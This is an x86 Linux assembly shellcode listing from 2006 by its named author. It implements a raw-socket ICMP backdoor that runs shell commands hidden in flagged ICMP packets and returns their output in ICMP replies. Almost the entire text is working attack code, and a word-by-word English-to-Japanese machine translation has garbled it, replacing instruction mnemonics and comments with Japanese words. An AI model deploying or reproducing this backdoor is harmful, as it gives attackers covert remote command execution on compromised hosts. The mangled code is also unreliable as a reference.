このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
; ; Copyright (c) 2007 by <mu-b@digit-labs.org> ; ; 235-byte raw-socket ICMP/checksum 爆撃する - (x86-lnx) ; by mu-b - Nov 2006 ; ; icmp with identifier __flag_byte and 命令(する)s in the ; に引き続いて 判型:- ; "/貯蔵所/sh\x00-c\x00<命令(する) here>\x00" ; ; unlike *other* icmp 爆撃するs, this will reply with ; 255-(sizeof icmp_hdr) bytes of 生産(高).. ; %define zero_reg esi %define zero_reg_w si %define sock_reg edi %define __flag_byte 6996h 全世界の _shell _shell: xor zero_reg, zero_reg mov ebp, esp ; sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); _socket: lea ebx, [zero_reg+3] 押し進める byte 1 押し進める ebx dec ebx 押し進める ebx dec ebx mov ecx, esp lea eax, [zero_reg+66h] int 80h ; socket(); mov sock_reg, eax ; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &1, 1); _setsockopt: 押し進める ebx 押し進める esp 押し進める byte 3h 押し進める zero_reg 押し進める sock_reg mov ecx, esp mov bl, byte 0eh mov al, byte 66h int 80h ; setsocketopt(); ; while(1) _while_loop: ; read(sockfd, cmd, 255); cdq dec byte dl mov ecx, ebp mov ebx, sock_reg lea eax, [zero_reg+3] int 80h ; read(); lea ebx, [ebp+24] xor [ebx], word __flag_byte jne short _while_loop ; 麻薬を吸う(pp) lea ebx, [ebp-8] mov al, byte 2ah int 80h ; 麻薬を吸う(); ; fork() mov al, byte 2h int 80h ; fork(); 実験(する) eax, eax jnz short _parent _child: ; の近くに(pp[0]) mov ebx, [ebp-8] mov al, byte 6h int 80h ; の近くに(); ; dup2(pp[1], 0); dup2(pp[1], 1); dup2(pp[1], 2); lea ecx, [zero_reg+3] ; pp[1] == pp[0]+1 inc ebx .1: dec ecx mov al, byte 3fh int 80h ; dup2(); jnz .1 ; execve(cmd + 28, {cmd + 28, cmd + 36, cmd + 39, 0}, 0); 押し進める zero_reg lea ebx, [ebp+39] 押し進める ebx sub ebx, byte 3 押し進める ebx sub ebx, byte 8 押し進める ebx mov ecx, esp cdq mov al, byte 0bh int 80h ; execve(); _parent: ; の近くに(pp[1]) mov ebx, [ebp-4] lea eax, [zero_reg+6] int 80h ; の近くに(); _parent_read: .1: ; read(pp[0], cmd, bytes_left); ; edx == 255 lea ecx, [ebp+28] mov ebx, [ebp-8] mov al, byte 3h int 80h ; read(); 実験(する) eax, eax jl _while_loop mov al, byte 6h int 80h ; の近くに(); .2: ; 直す/買収する,八百長をする up ttl (optional?! make sure its high!) ; mov [ebp+8], byte 0ffh ; switch ip's mov ecx, [ebp+12] xchg [ebp+16], ecx mov [ebp+12], ecx ; 始める,決める icmp type to echo reply (optional?!) ;mov [ebp+20], word zero_reg_w ; 無 checksum ;mov [ebp+22], word zero_reg_w ; 始める,決める icmp type to echo and 無 checksum mov [ebp+20], zero_reg lea ecx, [zero_reg+117] lea esi, [ebp+20] cdq .3: lodsw 追加する edx, eax 宙返り飛行 .3 lodsb xor ah, ah 追加する eax, edx mov esi, eax shr eax, byte 16 movzx esi, si 追加する eax, esi mov edx, eax shr edx, byte 16 追加する eax, edx not ax ; 始める,決める checksum mov [ebp+22], word ax cdq xor eax, eax xor zero_reg, zero_reg ; struct sockaddr * 押し進める zero_reg 押し進める zero_reg 押し進める dword [ebp+16] 押し進める byte 2 ; sendto(sockfd, cmd, 255, 0, ...); mov ecx, esp 押し進める byte 16 押し進める ecx 押し進める zero_reg mov dl, byte 0ffh 押し進める edx 押し進める ebp 押し進める sock_reg mov ecx, esp mov bl, 0bh mov al, 66h int 80h ; sendto(); cdq mov ecx, ebp mov ebx, zero_reg mov al, 72h int 80h ; wait(); jmp _while_loop